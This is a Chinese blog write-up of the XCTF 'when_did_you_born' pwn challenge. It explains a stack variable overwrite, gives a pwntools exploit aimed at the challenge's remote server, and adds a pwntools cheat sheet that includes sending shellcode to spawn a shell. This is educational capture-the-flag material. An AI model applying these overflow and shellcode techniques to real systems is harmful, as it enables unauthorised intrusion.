day-5

xctf-when_did_you_born

题目传送门:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051

checksec文件:

day-5

 

 

 

 没啥,ida打开:

day-5

 

 第一个判断v5应该不等于1926,第二次判断应该等于1926,看到v4,双击进入,可以查看到v5和v4都是同一stack下的,用v4覆盖v5的位置,实现第二个判断为1926。

在最上面定义可以看到,相对偏移为8。

构造exp:

from pwn import *



#cnn = process('./when_did_you_born')

cnn = remote('111.198.29.45',33487)



payload = 'a'*8+p64(1926)



cnn.recvuntil('Your Birth?')

cnn.sendline('1926')



cnn.sendline(payload)



cnn.interactive() 

 

运行一下,可以得到flag:

day-5

 

 

总结:唔。。。这是昨天的升级版。

 

额外小知识:

# Pwntools环境预设
from pwn import *
context.arch = "amd64/i386"                             #指定系统架构
context.terminal = ["tmux,"splitw","-h"]     #指定分屏终端
context.os = "linux"                                     #context用于预设环境

# 库信息
elf = ELF('./PWNME')                        # ELF载入当前程序的ELF,以获取符号表,代码段,段地址,plt,got信息
libc = ELF('lib/i386-linux-gnu/libc-2.23.so')     # 载入libc的库,可以通过vmmap查看
/*
首先使用ELF()获取文件的句柄,然后使用这个句柄调用函数,如
>>> e = ELF('/bin/cat')
>>> print hex(e.address)    # 文件装载的基地址
>>> print hex(e.symbols['write']) # plt中write函数地址
>>> print hex(e.got['write'])     # GOT表中write符号的地址
>>> print hex(e.plt['write'])       # PLT表中write符号的地址                    
*/                                       

# Pwntools通信                    
p = process('./pwnme')                      # 本地 process与程序交互
r = remote('exploitme.example.com',3333)          # 远程

# 交互
recv()          # 接收数据,一直接收
recv(numb=4096,timeout=default) # 指定接收字节数与超时时间                    
recvuntil("111")     # 接收到111结束,可以裁剪,如.[1:4]
recbline()      # 接收到换行结束
recvline(n)     # 接收到n个换行结束
recvall()           # 接收到EOF
recvrepeat(timeout=default) #接收到EOF或timeout
send(data)      # 发送数据
sendline(data)      # 发送一行数据,在末尾会加\n
sendlineafter(delims,data) #   在程序接收到delims再发送data                  
r.send(asm(shellcraft.sh()))                          # 信息通信交互                                       
r.interactive()                              # send payload后接收当前的shell

# 字符串与地址的转换
p64(),p32()  #将字符串转化为ascii字节流
u64(),u32()  #将ascii的字节流解包为字符串地址   

 

上一篇:vue element 做表格分页


下一篇:ELF头文件